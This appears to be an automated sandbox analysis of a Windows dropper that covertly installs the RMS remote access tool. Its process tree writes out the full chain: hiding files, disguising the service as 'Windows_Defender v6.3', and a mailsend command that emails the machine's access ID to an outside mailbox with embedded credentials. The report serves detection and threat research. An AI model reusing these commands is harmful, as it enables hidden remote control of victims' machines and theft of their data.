Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-06-2024 22:19

General

  • Target

    92cc670966533412a28905554e3ffd17_JaffaCakes118.exe

  • Size

    4.6MB

  • MD5

    92cc670966533412a28905554e3ffd17

  • SHA1

    811d7fe266fa3412233eb3c03f7261020c22a39a

  • SHA256

    6b1993fe3607e7903ec2eb3c28325a33bf9dd7f0e10dced73127d67e59e2c190

  • SHA512

    22237b3e13b0957615081faf79e15bc9a1632202273e7754f5fcfb3da0e9c057d107a2b70a5aa5bf7c5572aa31be157e801582dfc4b0ad1a67608c0c462570bf

  • SSDEEP

    98304:lKxQ7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5CZ:lx7KQrLM/RzYI7Da4Ii

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Sets file to hidden 1 TTPs 2 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • ACProtect 1.3x - 1.4x DLL software 2 IoCs

    Detects file using ACProtect software.

  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 8 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 35 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 3 IoCs
  • Kills process with taskkill 4 IoCs
  • Modifies registry class 1 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\92cc670966533412a28905554e3ffd17_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\92cc670966533412a28905554e3ffd17_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3392
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:5108
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:660
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System" +H +S /S /D
          4⤵
          • Sets file to hidden
          • Drops file in Program Files directory
          • Views/modifies file attributes
          PID:912
        • C:\Windows\SysWOW64\attrib.exe
          attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
          4⤵
          • Sets file to hidden
          • Drops file in Program Files directory
          • Views/modifies file attributes
          PID:3964
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rutserv.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1576
        • C:\Windows\SysWOW64\taskkill.exe
          Taskkill /f /im rutserv.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:544
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /f /im rfusclient.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2800
        • C:\Windows\SysWOW64\taskkill.exe
          Taskkill /f /im rfusclient.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:436
        • C:\Windows\SysWOW64\reg.exe
          reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
          4⤵
            PID:4684
          • C:\Windows\SysWOW64\regedit.exe
            regedit /s "regedit.reg"
            4⤵
            • Runs .reg file with regedit
            PID:1796
          • C:\Windows\SysWOW64\timeout.exe
            timeout 2
            4⤵
            • Delays execution with timeout.exe
            PID:2340
          • C:\Program Files (x86)\System\rutserv.exe
            rutserv.exe /silentinstall
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:2468
          • C:\Program Files (x86)\System\rutserv.exe
            rutserv.exe /firewall
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:4500
          • C:\Program Files (x86)\System\rutserv.exe
            rutserv.exe /start
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:1912
          • C:\Windows\SysWOW64\sc.exe
            sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
            4⤵
            • Launches sc.exe
            PID:4992
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService obj= LocalSystem type= interact type= own
            4⤵
            • Launches sc.exe
            PID:184
          • C:\Windows\SysWOW64\sc.exe
            sc config RManService DisplayName= "Windows_Defender v6.3"
            4⤵
            • Launches sc.exe
            PID:1108
          • C:\Windows\SysWOW64\timeout.exe
            timeout 120
            4⤵
            • Delays execution with timeout.exe
            PID:3864
          • C:\Windows\SysWOW64\reg.exe
            reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
            4⤵
            • Drops file in Program Files directory
            PID:2116
          • C:\Windows\SysWOW64\timeout.exe
            timeout 10
            4⤵
            • Delays execution with timeout.exe
            PID:4744
          • C:\Program Files (x86)\System\mailsend.exe
            mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user [email protected] -pass Xidgs6dgd8ds -q
            4⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            PID:2412
          • C:\Windows\SysWOW64\attrib.exe
            attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
            4⤵
            • Drops file in Program Files directory
            • Views/modifies file attributes
            PID:3804
          • C:\Windows\SysWOW64\attrib.exe
            attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
            4⤵
            • Drops file in Program Files directory
            • Views/modifies file attributes
            PID:2200
          • C:\Windows\SysWOW64\attrib.exe
            attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
            4⤵
            • Drops file in Program Files directory
            • Views/modifies file attributes
            PID:1204
          • C:\Windows\SysWOW64\attrib.exe
            attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
            4⤵
            • Drops file in Program Files directory
            • Views/modifies file attributes
            PID:2464
          • C:\Windows\SysWOW64\attrib.exe
            attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
            4⤵
            • Drops file in Program Files directory
            • Views/modifies file attributes
            PID:5096
    • C:\Program Files (x86)\System\rutserv.exe
      "C:\Program Files (x86)\System\rutserv.exe"
      1⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4464
      • C:\Program Files (x86)\System\rfusclient.exe
        "C:\Program Files (x86)\System\rfusclient.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3576
        • C:\Program Files (x86)\System\rfusclient.exe
          "C:\Program Files (x86)\System\rfusclient.exe" /tray
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: SetClipboardViewer
          PID:2420
      • C:\Program Files (x86)\System\rfusclient.exe
        "C:\Program Files (x86)\System\rfusclient.exe" /tray
        2⤵
        • Executes dropped EXE
        PID:1388

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Program Files (x86)\System\install.bat

      Filesize

      1KB

      MD5

      c72b5dc3c2dfd52e041e8192a6c285fc

      SHA1

      c972e668ea60467a0dd745b7d6cd8a4c1f59f80b

      SHA256

      8eaa5b6c5b32c10af614f11c78e3df59949642a06b2062d14edd21cb8cb7a381

      SHA512

      fb4a49306fceffdfadd5b4d58b81fb286d3e867b759b3e90a98a97c7d9ba606c86067ff7e7ef73c72aaafc1cb99912125ecbe7d496b8141816c5f58ed87cf557

    • C:\Program Files (x86)\System\install.vbs

      Filesize

      120B

      MD5

      c719a030434d3fa96d62868f27e904a6

      SHA1

      f2f750a752dd1fda8915a47b082af7cf2d3e3655

      SHA256

      2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

      SHA512

      47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

    • C:\Program Files (x86)\System\mailsend.exe

      Filesize

      1.2MB

      MD5

      ac23b87f8ec60ddd3f555556f89a6af8

      SHA1

      3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

      SHA256

      80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

      SHA512

      57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

    • C:\Program Files (x86)\System\regedit.reg

      Filesize

      12KB

      MD5

      251212852a073e6fc5fbe3af92f66adb

      SHA1

      6ee07cb20f57830325c11867e68fea49ae0e87ea

      SHA256

      f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

      SHA512

      f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

    • C:\Program Files (x86)\System\rfusclient.exe

      Filesize

      1.5MB

      MD5

      b8667a1e84567fcf7821bcefb6a444af

      SHA1

      9c1f91fe77ad357c8f81205d65c9067a270d61f0

      SHA256

      dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

      SHA512

      ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

    • C:\Program Files (x86)\System\rutserv.exe

      Filesize

      1.7MB

      MD5

      37a8802017a212bb7f5255abc7857969

      SHA1

      cb10c0d343c54538d12db8ed664d0a1fa35b6109

      SHA256

      1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

      SHA512

      4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

    • C:\Program Files (x86)\System\vp8decoder.dll

      Filesize

      155KB

      MD5

      88318158527985702f61d169434a4940

      SHA1

      3cc751ba256b5727eb0713aad6f554ff1e7bca57

      SHA256

      4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

      SHA512

      5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

    • C:\Program Files (x86)\System\vp8encoder.dll

      Filesize

      593KB

      MD5

      6298c0af3d1d563834a218a9cc9f54bd

      SHA1

      0185cd591e454ed072e5a5077b25c612f6849dc9

      SHA256

      81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

      SHA512

      389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

    • C:\Users\Admin\AppData\Local\Temp\REG5421.tmp

      Filesize

      20KB

      MD5

      407f58808c922ee10ac579b8887bad69

      SHA1

      40daa9facb2b13489e45f1f0b6e0b3bf96eb8845

      SHA256

      d4225f1dd694e7ae613b99a35e351cbfad214c2a528a6ca66fd3584e116780d1

      SHA512

      6f288c59ed0158cd8d3d3041439a6951192f78c441e6682b8829e64fef9c8330a5639fa7142a3e1a30182e7f62db1c202c5f06cc699dae65f6716907f5dee24f

    • memory/1388-91-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-76-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-68-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-63-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-69-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-65-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-64-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-107-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-98-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-66-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1388-86-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/1912-70-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-44-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-46-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-48-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-47-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-45-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/1912-43-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2420-80-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-77-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-79-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-82-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-81-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-78-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2420-83-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/2468-33-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-30-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-32-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-31-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-29-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-28-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/2468-27-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/3576-61-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-75-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-58-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-56-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-60-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-62-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/3576-57-0x0000000000400000-0x00000000009B6000-memory.dmp

      Filesize

      5.7MB

    • memory/4464-96-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-88-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-52-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-54-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-53-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-51-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-112-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-84-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-105-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-50-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-73-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4464-92-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-35-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-37-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-39-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-38-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-41-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB

    • memory/4500-36-0x0000000000400000-0x0000000000AB9000-memory.dmp

      Filesize

      6.7MB